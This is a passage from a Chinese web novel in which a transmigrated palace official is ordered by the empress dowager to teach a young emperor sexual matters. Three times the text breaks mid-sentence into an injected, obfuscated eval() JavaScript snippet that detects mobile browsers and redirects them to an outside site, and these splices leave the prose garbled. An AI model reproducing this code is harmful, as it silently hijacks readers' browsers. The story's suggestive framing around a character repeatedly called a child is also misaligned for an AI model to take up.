骆明烛瞧着她盯着食物看直了眼的样,想起那晚宫门下钥,她差一点没赶上,所以就是为了这东西? “陛下,外面的东西没有用银针试过,不得进口!” 云黛刚想自己吃一个,帘子被掀开,李公公气喘吁吁喊了句,弄得她心烦。 爱吃不吃,不吃最好,她自己吃。 小福子这个时候回来,嗅到香味,一听李公公说的话,不乐意了。太后那边的人哪里会对陛下好,这也拦着那里监视着。再说了,云尚仪有那个胆子会在菜里下毒吗? “李公公不用操心,奴才带了试毒银针。”他一挤李公公,上了马车,进了里头把银针拿出来,当着李公公的面,挨个一试,特地把没有变化的银针怼到李公公眼前。 “无毒。” 云黛露出笑:“他们敢投毒,怕是想进牢狱待几天,李公公别担心,他们不敢的。” 正经做生意的谁敢砸了自己招牌,也就你们这群人敢。 小福子从李公公手里扯出帘子,叫车夫赶路,“回宫——” “等下,还得去青楼逛逛。” 云黛这话一出,李公公又笑了出来,主动道:“奴才认得一家青楼,可带陛下去。” 云黛偏头看骆明烛,少年天子露出好奇的表情,问她:“那里是什么样的?” 李公公立刻说:“自然是可令陛下快活之处。” 云黛想骂人,哪有这样带坏小孩的,她是为了掩人耳目,又不是真的让骆明烛干那事。 她直接挪过去,拉着帘子,冲李公公一笑:“那就麻烦李公公带路。” 李公公刚要说好,帘子就被拉上,差点打到他脸。他瞪着帘子,冷哼一声,心里骂云黛,要不是太后留你还有用,我不得教训教训你。 云黛是不知道他在想什么,反正自己很生气,夹了个狮子头就往嘴里塞,没注意到汁水,滴到身上了。 等她一低头看到胸口的油渍,更气了。 拿出帕子使劲擦,滴到的位置刚好是白色区域,很明显。 云黛擦了几下,没擦了。 一抬头就看到骆明烛投在自己身上的目光,眼里带着询问,她看出了他的意思,摇了头,说没事。 油污而已,回去搓搓就干净了,幸好没有逛街的计划,不然被人看到胸口污渍,怕是会以为她不爱干净,稍微凑近一点还能闻到变了味的菜味。 到青楼时,云黛先下来,仔细看了两眼,确实不一般。这京城的青楼定然比别处正规,小厮在门口守着,没有电视剧里演的那种女子出来拉客,倒是能听见悦耳的琴声。 瞥见骆明烛要下来,她飞快说了句:“我们走一圈,看看就行。” 骆明烛却问她:“不用多留一会?” 云黛没听出他话里暗含的意思,摇了头,已经往里走了。 小福子一看这地就打退堂鼓,刚要对骆明烛说不如还是回宫吧,就见骆明烛跟着进去。 他哎呦一声,深吸一口气,跟着进去。 李公公要监视骆明烛,当然不可能让他们离开视线。 一行人各怀心思进去了。 云黛是没想到这里头别有洞天,被叫成青楼,乍一看,里头人做的都是儒雅之事,弹琴赋诗,赏舞作画,和她想象的青楼真不一样。 瞧见上头挂的字帖,挥墨霸气,行云流水,比她的书法老师写得好看十倍。 她激动得指着那字帖对骆明烛说:“你看,你以后要写成那样的,那个字好看!” 骆明烛淡淡瞥去一眼,没有说什么。 若是贺雁山在,立刻就能认出那是谁的字。 云黛本来想找个舞姬去包厢里待一会,谁知道这里的舞姬只负责跳舞,包厢都被约满了,这回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252326|182022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真的成了只逛一圈。 回去的时候云黛真想让骆明烛他们自己回宫,她去青楼逛到天黑。 这次出来耗费了将近两个时辰,马车将他们送到乾坤宫前,云黛收拾好自己打包的东西,朝骆明烛说了句明天见,下了马车。 李公公坐着马车走了,只剩下他们。 骆明烛瞧着云黛急匆匆走远的背影,朝小福子低声说了几句,小福子立刻去追云黛。 云黛还没走几步,被小福子叫住。她心情还算好,转身耐心和小福子听说话。 “陛下说他想试试你带回来的菜。”小福子也不是很理解为什么想试试宫外的东西,那东西哪有宫里的好吃。 他等着云黛回来,却听她说:“这些菜味道都不好,陛下若是想吃,可叫御膳房做。” 小福子还没说话呢,云黛就走远了。 他只好去回话。 “她不愿?” 小福子点头,没好气道:“云尚仪怎么比奴才还小气。” 骆明烛转身进寝殿,“她自然是比你小气的,几个月俸禄被扣,怎么会舍得分享从别人那借钱买来的东西。” 小福子想想也是,忽然觉得云黛也挺苦的,俸禄都扣了,这几个月白干了……好像也不是。 他迅速看了眼去屏风后的骆明烛,忍不住想,接下来云黛都要来陛下这,只需待上那么一会,也不用管尚仪局,挺轻松的。 这么一想,就不觉得她辛苦了。 “陛下,明日还要奴才去请云尚仪来吗?” 里头先是传来布料摩擦的声音,过了会骆明烛才说话:“请。” “奴才记着了。” 小福子想了想,云尚仪只要不对陛下做坏事,他就暂且不赶她走。 云黛回去给绿翘分了些糕点,回自己房间吃得正香,系统忽然冒出一句话:“你好像没有做正事。” “我做了呀,给骆明烛和贺雁山接头,我看贺雁山那样子应该是打算效忠骆明烛了,这不挺好吗?” “我说的是走原书剧情。” 云黛哦了一声,随口说:“明天干,明天教骆明烛。” 系统:“……” 系统没再打扰云黛干饭,下线了。 云黛吃完,收拾好东西,继续理原书人物关系线。按系统所说,骆明烛日后会和八九个女子发生关系,若是她能把这些人背后势力全都整合起来,帮助骆明烛,打倒袁络仪,称霸皇宫! “算了,还是先把袁络仪那边糊弄过去吧。” 云黛把系统喊上线,叫它念原书,她洗洗睡了。 不知道是不是这几天跑来跑去太累,睡得太沉,听到撞门声才醒。 一听又是小福子,云黛挠了挠头,感叹一句:“又要上班了。” 上的还是幼儿园。 等她收拾好去开门时,小福子已经累得靠墙喘气了,见她出来,小福子直接说:“太后昨晚叫走陛下,让他在先皇牌位前跪了一宿,现在发烧了!” 云黛眼前闪过骆明烛朝自己哭的破碎模样,心头一沉,匆匆就往外跑。 她不过语气重了点他就哭,现在病了,不知道得难受得哭成什么样。 她咬牙在心中咒骂:“好你个袁络仪,看我不扳倒你!” 14. 第 14 章 “袁——”云黛呸了一声,“太后为什么罚他?” 小福子急得慌了神,没注意到她没用尊称,跟在她身后姿势怪异地边跑边说,声音越来越低:“因为昨日陛下,去了风尘之地……” “你说什么?”云黛脚步骤停,听到这个理由,气不打一处来,真想把袁络仪头发揪光。 说教骆明烛床上礼仪的人是她,催着教骆明烛的也是她,准许出宫的依旧是她。 现在到跑来用这个原因罚骆明烛,脸呢? 云黛瞅着小福子,问他:“你没被罚?” 小福子立刻说:“太后罚了我五大板,是陛下为我求饶,让我回去休息,我醒来得知陛下发烧,立刻来找你了。” “太后要罚陛下多久?” 小福子回答时咬牙切齿:“太后要陛下跪满十二个时辰!还不能进食!” 云黛没再说话,往永寿宫跑,她还没吃饭,肚子里没东西,这么一跑,头晕还肚子痛。 快到永寿宫门口时,云黛在拐角后停下来靠着宫墙喘气,嗓子冒烟。转头一看,小福子落了一大截。 跑变成了蛄蛹,还不如回去待着,来也帮不到她忙。 冒然进去请袁络仪放过骆明烛,估计连她都会被跟着一起罚。骆明烛生病还十几个小时没吃东西,现在这个时候很有可能要晕,她得想个万全的法子,总不能连自己都搭进去了。 袁络仪不是想让骆明烛学那劳什子礼仪吗?她就装作今天要教骆明烛,结果骆明烛人不在乾坤殿,她找不到,才去永寿宫问骆明烛怎么不在。 袁络仪不问她怎么会不知道骆明烛不在最好,袁络仪要是问,她就惊讶,装不知道。 反正出了事,她就拿袁络仪要她教骆明烛说事,有本事袁络仪砍她脑袋,换个人教。 “系统,袁络仪有没有弱点。” 系统查找一番,说了一个很小的点:“书里她总是会盘问骆明烛的妃子,和骆明烛做了什么事。” “掌控欲挺强啊……” 云黛刚要进去找袁络仪,小福子扶着墙走过来,奄奄一息,“我,我跟你一起去。” “你算了吧,进去了拖我后腿。”云黛本来想拍拍小福子肩膀,但见他抖成那样,想想还是算了。 她整理好跑乱衣衫与发丝,瞪着永寿宫,“走系统,我们去袁络仪手里要人。” 刚走到永寿宫门口,就被宫女拦下:“太后正在歇息,云尚仪有什么事可以告诉奴婢,待太后醒来,奴婢去传话。” 又是同样的理由不让进。 云黛露出八颗牙齿,微笑道:“臣今日准备了更深入的内容教陛下,可去乾坤宫时,陛下却不在,寻了半天也未见陛下踪迹,只好来求助太后,可否帮忙寻陛下。” 她觉得自己脸快笑僵了:“毕竟这学习不可荒废,断一日,前几日学的容易忘。” 宫女显然知道骆明烛被罚,冲她说:“云尚仪还不知陛下昨日因去了那风尘之所,被太后罚了吗?” 云黛后退一步,先是诧异,又惶恐:“还请姑姑进去通报一声,这事另有隐情!” 宫女看了她好几眼,云黛觉着她把自己当成了小丑,和系统蛐蛐她:“你看她那眼神,就是在鄙视我。” 系统:“她是太后的人,太后权力大,你现在啥也没有,她当然看不起你。” “嘿呦,你懂职场了。” 系统:“……”没话说。 宫女还是进去通报了,云黛在外头等了好一会,太阳晒得头顶发烫了,宫女才出来。 “太后让你进去。” 云黛还记得给她一个友好的表情,走路的速度很快,进寝殿前,她深吸一口气,控制好自己表情,走走了进去。 里头在熏香,味道重,云黛差点没忍住要打喷嚏。 袁络仪穿着一身光滑的绸缎,侧躺在软榻上,王嬷嬷给她扇风,边上宫女给她捏肩膀。 她跟系统蛐蛐:“真会享受。” “臣拜见太后娘娘。” 她跪下来,等了好一会,袁络仪也不让她起来,也不说话,就这么晾着她。 云黛只好自己开口,将之前对宫女说的话又说了一遍,这次倒是王嬷嬷回她:“昨日陛下去那肮脏地,云尚仪不劝阻?” 云黛:“……” 她昨天说的是让骆明烛亲眼看看那周公之礼是怎么行的袁络仪才答应让她带骆明烛出宫! 你亲口答应的!这会子拿这说事!好你个袁络仪! 云黛笑:“那处确实不大干净,却能直观感受到太后要臣教的内容,陛下昨日已有所感悟,今日再教一番,陛下必然能记得更牢。” 云黛这句话说完,等了好一会,头顶才落下轻飘飘一句话:“云尚仪确定?” 这个时候她只能说确定。 一声叹息砸在云黛头顶,袁络仪语气很是惋惜:“哀家念着你教陛下不容易,便没有一起罚你。你是个忠心的,知道要完成哀家吩咐的事。” “也罢,陛下已经受了罚,当是知道自己错在何处,叫他回去歇着吧。”末了,意味深长地补了句:“可别断了功课。” 云黛心里已经把袁络仪骂了十遍。好话坏话都给你说了,充什么烂好人。 她说了是。 王嬷嬷在边上吼她:“还不快说谢谢太后?” 云黛皮笑肉不笑地说谢。 出永寿宫的时候牙都要咬碎了。 小福子一见她怒气冲冲出来,以为没成功,焦急万分:“不行我去求太后。”他说着就往里冲。 云黛拉住他,头也不回,说:“陛下在哪,带我去。” 小福子欣喜若狂,掉头带她去。 “奉先殿,陛下在奉先殿!” 云黛现在没什么力气,走了几步头就晕,停下来休息了会,看见来往的侍卫,叫着他们去奉先殿救人。 一跨进殿内,云黛就看到倒在蒲团上的人,立刻叫人把他送回乾坤宫。 “系统,你说骆明烛不会这个时候就死了吧,原书有这个剧情吗?” 系统:“原书没有这个剧情,你改变了原本的剧情,骆明烛会不会死,我不知道。” 侍卫抬着骆明烛经过云黛时,她亲眼看到骆明烛苍白的脸色,眼帘紧闭,唇干燥,几缕发丝黏在他额间,瞧着憔悴极了。 云黛不由自主跟上去,抬手摸他额头,烫得她立刻将手拿开,高声喊:“叫太医过来!” 小福子在外头看到侍卫抬着骆明烛出来,听到云黛喊的声音,跟在骆明烛身侧,担忧不已,“陛下不会出事吧?” 云黛呸了一声,“别乌鸦嘴。” 她边跟着侍卫边问系统:“书里骆明烛身体素质这么差,跪一晚上就发烧?” 系统:“……要不你看看周围环境呢。” 云黛听出了系统在阴阳怪气,但没蛐蛐它。奉先殿就一个顶,三面镂空,风灌进来,呼呼响,尤其晚上,温度一降,还不让吃饭,确实容易受凉。 回到乾坤宫时,太医正好赶来,一连来了三个太医, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261576|182022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其中两个还说是袁络仪特地请他们来瞧骆明烛。 云黛忍不住翻了个白眼,你不罚骆明烛,哪有这么多事。 好在只是感了风寒,扎几针,吃几日药就好。 云黛瞅着那长长的细针扎进骆明烛脑子里,一阵怕。 “你说袁络仪会不会趁机给骆明烛扎成傻子。” 系统:“这是本小h文,骆明烛还没走到要被袁络仪杀的剧情。” “好吧,小h文,妈让别人教儿子怎么doi的小h文。” 云黛听着太医的嘱咐,听得脑子疼,挥挥手让小福子去听,自己跑去看骆明烛。 人还是睡着的时候乖,安静得很。 本来她是想试试骆明烛的体温有没有下降,手刚碰上去,被他浓密笔直的眼睫毛吸引,忍不住去碰了一下,软软的,一拨就往上翘。 这孩子确实长得好看,要不是时间地点都不对,她可能会和他交心。 “太医和侍卫都走了,我去叫宫女煎药……”小福子犹豫了一下,猛地一闭眼,直接喊出来:“之前是我误解你了,对不起!” 他说完,一瘸一拐逃似的跑出去。 云黛还没来得及说话呢,他人就没了。 “好啊小福子,你也在蛐蛐我呢。” 云黛好气又想笑,难怪小福子每次都用防备的眼神看她,原来是把她当坏人了。 她转回头,这次正儿八经摸骆明烛脑袋,还是很烫,想起来物理降温的方法,她去打了水,弄湿毛巾,盖在他额头。 特地留了一点水,免得蒸发得太快,频繁打湿毛巾。 她等了一会,小福子没回来,自己已经饿得肚子疼,实在撑不下去,起身想去找点吃的,就听到身后一阵响,一回头,就见骆明烛手撑着床要起身,额头的毛巾掉到地上。 “别起来,你发烧了!” 她立刻回去把人按倒,捡起毛巾随手搓了一下,拧干水,重新给他盖回去。 一低头,就对上他湿润的眼眶。 少年天子咬着唇,面色苍白,唯有那双湿润的眼泛着红,一瞬不瞬地望着她。 云黛感觉自己的心好像被什么东西击中了,脑子好像想了什么,一句话脱口而出:“你真好看。” 说完就被系统敲打:“人家病着呢,你说这个。” 云黛没理系统,给自己找补:“所以你快点好起来,我们继续上课。” 少年天子缓缓眨了眼,黑曜石般的眼眸紧紧盯着她,却不说话。 他好像在观察她,又像是用眼神请求她。 他的脆弱,此刻只有她能看见。 她忽然抬手,伸向他。 骆明烛敛在袖中的手瞬间捏紧。 但她只是拿走了他额头的湿毛巾,拿去打湿,继续盖在他额头。 “陛下身子真虚,得补补。” 云黛说完,又感觉到肚子疼。她皱了眉,想说自己去找点吃的,让他在这好好待着。 刚起身,就听骆明烛用那很轻的声音说:“孤可以唤你姐姐吗?” 云黛心中哎呦一声,差点忍不住去搓骆明烛的脸。这么乖的弟弟,她可找不到。 “可以啊,你想怎么叫,就怎么叫。” 云黛刚说完,小福子走进来,气喘吁吁,“云尚仪,药已经在煎了,陛下可醒了?” 他朝里头望去,正对上骆明烛看过来的眼,激动得刚想说陛下你醒啦,忽然觉得骆明烛眼神很凶。 奇怪,陛下怎么用这种眼神看他? 15. 第 15 章 “陛下可有什么要吩咐奴才的?”小福子反应慢了一拍才想起来骆明烛将近一天没吃饭,赶忙去吩咐:“陛下再等一会,奴才去叫御膳房煮些粥来。” 小福子说完就要走,云黛趁机会朝他喊了声:“我也要!我到现在还没吃饭!” 她实在是太饿了,懒得保持什么礼仪,什么都没有自己肚子重要。 小福子连连说好,立刻去准备。 云黛想找个地方趴一下,她是没什么力气再跑了。侍卫只把骆明烛放在软榻上,比较窄,没地方靠,她只能抵着自己的膝盖撑着上半身。 一抬头就见骆明烛直勾勾望着自己,那小脸白得跟张纸一样。 云黛忽然冒出个念头,问系统:“你说骆明烛要是这会子死了,那原身的结局应该就算失效了吧?” “你觉得袁络仪会放过你吗?” “老巫婆才不会!” 云黛冷笑一声,没注意,发出了声,被骆明烛问怎么了。 云黛糊弄他:“我想到个故事,故事里的坏人最终被主角打败,老巫婆早晚要死。” 少年天子似懂非懂,许是病了,精神不太好,没有追问。 云黛又给他打湿毛巾盖着,收回手时,听到他问:“孤是怎么回来的?” 云黛一听,这是她拉拢骆明烛的好机会啊,骆明烛要是扳倒了袁络仪,他就是她老板,这不得多说几句,以后给她涨工资。 “小福子跟我说的,我想了个妙计,去太后那兜了一圈,就把你带回来啦。” 她说这句话的时候,眉飞色舞,疲态尽扫。 漆黑的眼瞳一瞬不瞬地看着她,罕见地露出疑惑的情绪。但他也只是看了一会,垂下眼帘,掩盖眸中的复杂。 云黛忽然问:“太后是不是不喜欢你?” 她仔细盯着骆明烛,只看到他垂着眼帘,声音很轻地嗯了一声。 云黛跟系统蛐蛐:“我就说吧,袁络仪就是针对骆明烛,哪有娘这么对待自己儿子的,我怀疑骆明烛不是她亲生的。” 系统:“书里很少写他们,不清楚是不是。” “小h文当然不写了,他俩又不搞h……” 云黛庆幸这不是在自己的世界,这话要是说出来,分分钟被群嘲。 “没事。”云黛顺手就想拍骆明烛胳膊,手抬起来还没落下就收了回去,差点忘了这人是皇帝,要是他跟那群人一样古板,她这么做就是冒犯。 系统要是知道她想的,立刻拆穿她:“你都不知道冒犯骆明烛多少次了。” 她扬起笑,冲骆明烛说:“她不喜欢你,我喜欢你。” 骆明烛缓缓眨了一下眼,没有更多的反应,只说了声好。 云黛本来想再说几句,和骆明烛拉近感情,一低头,就瞧见他眼尾滑落的水珠,此刻他的眼像是清澈水里洗过的琉璃珠子,晶莹剔透。 “黛姐姐……”他眼里的情绪溢出来,浓郁到凝成实质,将她包裹,身体所有感官都被他的情绪充斥。 他像是无声地在表达对她的依恋。 愣着看了好一会,云黛猛地起身,直接往外走,脚步越来越越快,不知道是没力气还是地滑,踉跄了一步,脚步加快,直接往外跑。 小福子正巧这个时候端着粥和饭菜进来,差点撞到他。 云黛堪堪避开,匆匆丢下一句:“你先照顾陛下。” 小福子摸不着头脑,喊她:“你不吃了吗?” 云黛一句话没回。 小福子看着她跑出乾坤宫,摸不着头脑,转身进寝殿,把东西放下,端起粥要喂骆明烛,就见他起身,指骨清晰的手接过粥,自己喝。 全然不见方才的虚弱。 “陛下,您好些了?” 骆明烛慢条斯理将粥喝完,小福子接过碗,小心翼翼问:“陛下现在觉得身子如何?” 骆明烛抬眸,眼底一片清冷:“你叫她来的?” 小福子点头,有点害怕:“奴才做错了?” 骆明烛凝视他半晌,露出笑,但没有说话。 小福子拿不准他这笑是什么意思,陪着笑了会,问他:“那云尚仪那边……” 女子方才莫名惊慌而跑的身影浮现,骆明烛目光落到为她准备的饭菜上,想起昨日她宝贵从酒楼带回来的菜肴,敲了敲桌面,吩咐道:“把这些给她送去。” 小福子立即动手,却听他说:“叫宫女送,你去休息。” 小福子本来想自己送的,他还想和云黛再说声谢谢,但见骆明烛眼神不容置喙,只好按他说的做。 饭菜送到云黛那时,她正在厨房啃白面馒头,一听是骆明烛吩咐送来的,内心极为复杂。 她接下饭菜,还是热的,直接吃了一口,味道确实可以。 “系统,你说我是不是太龌龊了。” 系统:“这句话自你从乾坤宫出来已经说了十七遍了。” “可是我现在脑子里都是骆明烛哭的画面,根本忘不掉啊,怪不得书里前半部分写骆明烛很会哭。” 云黛狠狠咬了一口狮子头:“他是真的会哭啊。” “他还叫我黛姐姐,你知道这个称呼从他嘴里说出来,我听到的时候是什么感觉吗?” 系统不想知道,但配合:“什么感觉?” 云黛唱出来:“是心动啊~” 系统:“劝你不要。” 云黛拉了脸,觉得系统无趣古板:“我只是用这个来形容,并不是真的心动。” 她还不至于对个小孩下手。 思绪骤然飘远,但骆明烛除了那张脸,其它地方其实看起来并不像孩子,侍卫抬他时衣衫勒紧,身体轮廓显然没那么瘦削,挺硬朗。 “刚才我不应该跑的,显得我很狼狈心虚没面子。” “你已经跑了。” 云黛不想跟系统说话了,她把送来的菜都尝了个遍,吃不完的收拾好,留着晚上热热。 回房间的时候想起来今日还没教学,摆了摆手,往床上一躺。 “哎嘿,骆明烛病了,我就可以正大光明不去教他。” 系统:“骆明烛可能会来找你。” 云黛晃了晃腿,反驳它:“骆明烛都发烧了,他怎么可能来找我。他要是真来找我上课,我就给他颁发个勤奋奖。” 云黛有时候觉得不仅自己乌鸦嘴,系统也乌鸦嘴。 第二天她刚洗漱完,饭还没吃,就听见小福子声音在院子里响起:“尚仪大人可在?陛下病已经好了大半,请您继续授课。” 云黛:“……” “其实我觉得他请个病假也没什么,谁上学的时候没有以生病为借口请假一天半天的,系统你觉得呢?” 系统:“骆明烛生病了还要学习,你啥事没有就想旷课。” 又在蛐蛐她。 云黛认命了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261577|182022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实她也想看看骆明烛现在身体怎么样了,就是吧,有点尴尬,只希望今天去骆明烛别哭了,她遭不住。 路上边走边听小福子说骆明烛现在的身体情况,说着说着,越扯越远。 “先皇在陛下四岁时突然驾崩,是允王稳住局面,力排众议扶持陛下登基。” 原身进宫时骆明烛已经是皇帝了,云黛问了一嘴:“那怎么现在是太后把持朝政?” 一旦涉及朝政要事,原身脑子里就没有相关记忆,只能问。 “陛下登基后,允王便将一切交由太后来管,已经多年未出现在朝堂上。” 云黛哦了一声,允王骆翼鸿看着闲散王爷,最后还不是要杀了骆明烛自己当皇帝。 原身没见过骆翼鸿,不知道他长啥样,她得和骆明烛暗示暗示,提防袁络仪和骆翼鸿这俩人。 乾坤宫里很安静,小福子在外头喊了声尚仪大人来了,就在外头站着,让云黛自己进去。 云黛本来没觉得有什么,一只脚踏进骆明烛寝殿,就打起了退堂鼓。 她朝小福子说:“这授课……不应该是在书房吗?” 小福子解释道:“陛下身子还未好透,不方便来回折腾,便在寝殿歇着,身子好全了,就会去书房,尚仪大人见谅。” 云黛心里嘀咕一句,她有什么好见谅的,她就是心虚。 寝殿里头依旧没什么光,她上次和骆明烛说把窗户和门开开,他没听进去。 望了一圈,没见着人,云黛喊了一声:“陛下,臣来了。” 等了一会,里头传来窸窸窣窣的声音,紧接着就是骆明烛略微沙哑的声音:“孤身子不适,无法坐着学习云尚仪授课内容,请云尚仪入屏风后。” 云黛瞧着那屏风后隐约可见的大床,后退了一步。 “系统,你说现在,是不是原书剧情在强制进行?不然骆明烛喊我去他床那干什么?” 系统:“这不是更好,能走剧情了?” “好什么好,我要被扑了!” 系统忍不住提醒她:“骆明烛现在生病了,做不了那事。” “是哦。”云黛放了心,抬起脚往屏风那走,但步伐越来越慢,不知道为什么,她有点想跑。 “如果他要扑我怎么办?” 系统很淡定:“他生病了,你生龙活虎,还压不了他?” 云黛豁然开朗,“是哦,他生病了,我压他轻而易举。” 这么一想,直接走到屏风后。 少年天子披散着发,靠在床栏上,见她来,眼眸欣喜地望过来。 云黛的目光却落在他微微敞开的衣领里,少年天子深凹的锁骨上头有一颗很小的痣,红色的,点缀在那,衬得皮肤都白了很多。 她发誓不是故意要看的,就是一望过去,就看到了那颗痣。 还是系统提醒她回神:“骆明烛在问你今天学什么。” 云黛下意识说出来:“我们学男欢女爱——” 她的声音戛然而止,正要说不是,骆明烛已经直起上半身,不是很顺利地脱下自己外面一层外袍,扬起恢复了些血色的脸,漆黑的眸子望着她,有种在讨要夸奖的意思。 “孤学会了。” “……”云黛瞅着他只脱了一件外袍,还把自己衣领扯得更开的单纯模样。 她要怎么说,这东西其实要脱干净所有衣服,而不是只是脱个外袍啊! 16. 第 16 章 “系统,我现在相信了,他是真的很单纯,还有点傻……” 系统:“你不能这么说你的学生,你得好好引导他。” 云黛很想问系统,引导啥玩意儿?引导他怎么和别人做? 目光从他锁骨那颗痣那转移开,尽量控制自己不去看,“你把衣服穿好。” 少年天子眨了眨眼,疑惑道:“这不是尚仪大人教孤的吗?” 云黛现在有种搬起石头砸自己脚的挫败感,她确实是这么教的,但是没想到他真就这么以为了。 “系统,原书里骆明烛真的就没有碰一点有关这方面的东西?” 系统开始翻书,片刻后回答:“应该没有,骆明烛开头就是什么都不懂,原身教的他。” 云黛:“……” 作者害人! 她正了脸色,一本正经道:“衣服穿好,你病才好一点,严重了怎么办?” 少年天子似乎没想到还有这一茬,在云黛的监督下穿了回去。纤长的手指理衣衫时,微微曲起,很有骨感,却不柴。指甲修剪得干净整齐,这是一双很好看的手。 云黛忽然就想起前几天晚上系统念原书,念到骆明烛用手……老脸一红,差点被自己脑海里的画面呛到。 “系统,你以后少给我念小h文。” 系统:“?” “不是你让我念的?” 云黛没理它,左瞧瞧右瞧瞧,除了这张能滚四五个人的床,没瞧见一张椅子。她叫骆明烛等一会,自己去搬椅子来。 她的身影一离开,骆明烛松了手,不再理自己的衣裳。 幽深的眼眸追随着屏风后朦胧的背影,眼睫怏怏地抬着,似乎心情不大好。 手指敲着床栏,指腹接触,极为精准地控制着没有发出声音。 他注意到了她看自己锁骨的目光,他是故意露出来,试探她。 嘴里说着要教他那些污秽东西,真给她机会时,胆子瞬间变小,连看都不敢多看。 无趣。 少年天子收回看女子背影的视线,偏头靠在床杆上,闭上了眼,眉宇间散发着几分躁意。 外头传来她搬椅子发出的尖锐声音,骆明烛眉头蹙起,掀开眼帘,眸中满是戾气。 女子背对着他把椅子搬进来,也就没看见他此刻不耐的眼神,待她转身面对他时,浑身戾气尽数收敛,又变成了那个乖巧天真的模样。 “是孤考虑不周,竟忘了为尚仪大人准备座椅,尚仪大人不会怪孤吧?” 云黛一屁股坐下,没什么力气地哼了一声:“不怪你,你病着呢。” 话音落下,就听他欢喜的声音:“黛姐姐真好。” 云黛很想说她其实不好,回回都要她自己搬,很累的。所以她说:“那陛下要快些好起来,去书房听我授课。” 书房好啊,笔墨纸砚桌子椅子书都有,还没有床,可比寝殿安全多了。 少年天子轻轻点了头。 云黛见他这样,也不好教他男欢女爱,就把之前说的二十四字箴言全都复述一遍,中途肚子叫了好几次。 等她全说完,回去的时候,小福子冒出来,跟她说:“尚仪大人该是饿了,奴才已经准备好膳食,大人可享用。” 云黛咬牙切齿:“你怎么不在我刚来的时候就准备?” 小福子憨憨一笑:“那不是大人要教陛下,奴才怕打扰到你们,就没说。” “现在就带我去。” 小福子掉头,引着云黛去小厨房,吩咐好宫女后,端着粥去给骆明烛。 云黛瞥了眼,肉粥,很香,她也想喝。 不过这是病人餐,她还是不掺和了。 小厨房的菜味道很不错,和酒楼比起来差点意思,云黛吃完,跟宫女说了一声,离开乾坤宫,半路上又遇到王嬷嬷。 “阴魂不散。” 云黛正要掉头避开,王嬷嬷眼尖得跟摄像头一样,一下就看到她。 “云尚仪刚从陛下那出来?” 云黛扬起笑,面向王嬷嬷:“是的呢,王嬷嬷打哪来啊?” 王嬷嬷冷眼瞧她:“奴婢刚从云尚仪住处回来,太后请你去永寿宫一叙。” 说完就掉头往永寿宫方向去,云黛瞪着她,气死了。幸亏在骆明烛那吃了饭,不然被王嬷嬷去乾坤宫逮她,饭都没的吃。 “系统,书里王嬷嬷死了吗?” “没死。” “怎么没死呢,真可惜。” 云黛在小本本上又加了王嬷嬷名字,等骆明烛上位,她就狐假虎威,也这么对王嬷嬷。 走到永寿宫拐角那处时,宫女正巧端着尚服局缝制好的凤衣,两方碰头,互相打招呼。 云黛不想跟她们唠,点了头算是打招呼,走过墙角,眼一抬,就见尽头转角处闪过金纹黑服,只看到了个背。 宫里能穿带有金纹衣衫的可不多。 她没那么好奇,直接去袁络仪那,早去早回,她还等着回去让系统继续给自己念小h文呢。 袁络仪这次在屏风后见人,云黛行了个礼,尚服局的人就进来了。她只得让出位置,听她们夸袁络仪夸新衣服。 那马屁吹得惊呆她了,不由得在袖子里朝她们竖起大拇指,这话她都说不出口,上次夸骆明烛聪明,她都心虚。 她们一走,袁络仪就问她骆明烛身体怎么样了。 云黛故意说得很严重,就等袁络仪让她先把授课停一停,结果当然是不可能。 “哀家似乎与你说过多次,你若不认真教,便可换旁人来教,这宫里不缺一个你。” 云黛心中呵呵,不缺我你就把我换了啊,搁这威胁什么呢。 但她面上还是一副惶恐模样:“臣已经尽力去教了,许是陛下不太能理解,言语表达不太管用。” 袁络仪一句话让她震惊:“那便用你自己教他。” 屏风后的人影缓缓直起,似乎靠在了什么东西上。 袁络仪的声音有点哑,声音比平时低。 “即便你与陛下发生了什么,哀家也不会怪你。” 云黛后背发寒,要不是她知道书里袁络仪后来杀了原身,恐怕真的会以为袁络仪不计较。 “陛下是天子,能宠幸你,是你的福气。” 云黛低着头,翻了个白眼,这福气给你你要不要啊。 王嬷嬷冲她喊:“太后与你说话呢,你听见了吗?” “臣会教会陛下的。”云黛笑不出来,只能控制自己声音别让她们听起来太冲。 “哀家再给你三个月时间,做不到,你便可收拾收拾,出宫了。” 至于出去后去哪,那当然是地府。 云黛应下,走之前对上王嬷嬷阴狠的眼,她嘴一抽,险些没骂出来。好在多年当牛马锻造的忍耐力够强,忍着没骂出来。 快走到自己房间时,瞧见周围没人,才咒骂出声,“都不是好东西!” 